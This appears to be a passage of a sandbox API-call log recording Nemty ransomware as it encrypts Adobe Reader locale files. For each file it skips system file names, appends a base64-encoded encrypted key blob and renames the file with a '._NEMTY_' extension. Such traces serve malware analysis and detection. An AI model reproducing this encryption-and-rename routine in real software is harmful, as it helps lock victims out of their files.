[0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.946] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Checkers.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\checkers.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.946] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=89600) returned 1 [0178.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x15e00) returned 0x6352c48 [0178.946] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.946] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x15e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x15e00, lpOverlapped=0x0) returned 1 [0178.954] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.954] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x15e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x15e00, lpOverlapped=0x0) returned 1 [0178.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.954] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=89600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x15e00 [0178.954] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.954] CloseHandle (hObject=0x2e8) returned 1 [0178.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.955] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Checkers.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\checkers.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Checkers.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\checkers.jpn._nemty_kgobjgd_")) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.956] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b0bba0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DigSig.JPN", cAlternateFileName="")) returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2=".") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="..") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="...") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="windows") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="rsa") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="NTDETECT.COM") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="ntldr") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="MSDOS.SYS") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="IO.SYS") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="boot.ini") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="boot.ini") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="ntuser.dat") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="desktop.ini") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="CONFIG.SYS") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="RECYCLER") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="BOOTSECT.BAK") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="bootmgr") returned 1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="programdata") returned -1 [0178.956] lstrcmpiW (lpString1="DigSig.JPN", lpString2="appdata") returned 1 [0178.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.956] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0178.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DigSig.JPN", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DigSig.JPN", lpUsedDefaultChar=0x0) returned 10 [0178.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.957] Sleep (dwMilliseconds=0x5) [0178.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e50e2b0, dwHighDateTime=0x1d561e8)) [0178.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e50e2b0, dwHighDateTime=0x1d561e8)) [0178.965] GetLastError () returned 0x0 [0178.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.966] GetLastError () returned 0x0 [0178.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.969] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.969] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.970] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.970] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="N9zUyr9EwxcVzKve/IhPxAo/TJejck+chQc8i7k3HD4pjqNmuYbqCvBvz9dlN8Ne\r\n4RVmkMsxsgbp7cJm0f0/d1YAbFtL/bwKrpdJQjn7HElSXu6qbvb8KxaoOR43lg3i\r\n+3TH14tKxPatHBKyHB54/WFP2aMnVRMaGaBF4tIdz3jtB+tp00QEeVySxq/jcrcC\r\nGgTJndYXPB8PlhnDdKOaNOHFjziXhZRWiQJV/M0ekZTadXAQmvMaucoG5MGlLnFD\r\n/s5vPqlxbLHMPNd/DfiWb6qCXtywNVjM3BGbVxEU1h4PWu4SZyh+idFSx/iu9gfX\r\nCCwWeKsgWLl2469CesBOYQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.970] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.970] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.971] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DigSig.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\digsig.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.971] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=85504) returned 1 [0178.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e00) returned 0x6352c48 [0178.971] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.971] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14e00, lpOverlapped=0x0) returned 1 [0178.978] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.978] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14e00, lpOverlapped=0x0) returned 1 [0178.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.979] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=85504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x14e00 [0178.979] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.979] CloseHandle (hObject=0x2e8) returned 1 [0178.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0178.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.979] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DigSig.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\digsig.jpn"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\DigSig.JPN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\digsig.jpn._nemty_kgobjgd_")) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.980] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b31d00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="DVA.JPN", cAlternateFileName="")) returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2=".") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="..") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="...") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="windows") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="$RECYCLE.BIN") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="rsa") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="NTDETECT.COM") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="ntldr") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="MSDOS.SYS") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="IO.SYS") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="boot.ini") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="boot.ini") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="AUTOEXEC.BAT") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="ntuser.dat") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="desktop.ini") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="CONFIG.SYS") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="RECYCLER") returned -1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="BOOTSECT.BAK") returned 1 [0178.980] lstrcmpiW (lpString1="DVA.JPN", lpString2="bootmgr") returned 1 [0178.981] lstrcmpiW (lpString1="DVA.JPN", lpString2="programdata") returned -1 [0178.981] lstrcmpiW (lpString1="DVA.JPN", lpString2="appdata") returned 1 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.JPN", lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x653e890, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.JPN", lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x653e8e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.JPN", lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.981] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.JPN", cchWideChar=7, lpMultiByteStr=0x653e918, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.JPN", lpUsedDefaultChar=0x0) returned 7 [0178.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.981] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.981] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.981] Sleep (dwMilliseconds=0x5) [0178.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e55a570, dwHighDateTime=0x1d561e8)) [0178.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e55a570, dwHighDateTime=0x1d561e8)) [0178.992] GetLastError () returned 0x0 [0178.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.992] GetLastError () returned 0x0 [0178.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.993] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.993] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="6K/AiHkgiAQViM8Anbm9ZrDbTccihjOuhiDp0l+ypynDsG3Tp1YM5hOmqPPrSBl7\r\nAPKu5783q6uG3WLDnWC0iK7zVgZMGIW7PeV7n7h7rMP2xsywZeZ5nXO4qPfql9bb\r\nbV2LCHlD3lHSU85TlRqPgohBXGeDe4AGOxcxJheDMq4qfZQEwIShHwic3NG68WDD\r\nhObNTWyxzLmPDPeGcujGZ3MOesZt5anfKjEOZuFAO8YBjoKfqGqLmbOQtVOjdT8T\r\nwMyKaH20L14lmPPnKvd4rz2QJQ7LNW2hHrl2CfLwyRb3J+LF5AIRbjoHl6ckKaVm\r\nTZlThSOCRtTV4dnMeJ7WTA==\r\n", pcchString=0x653e5dc) returned 1 [0178.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.993] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.993] 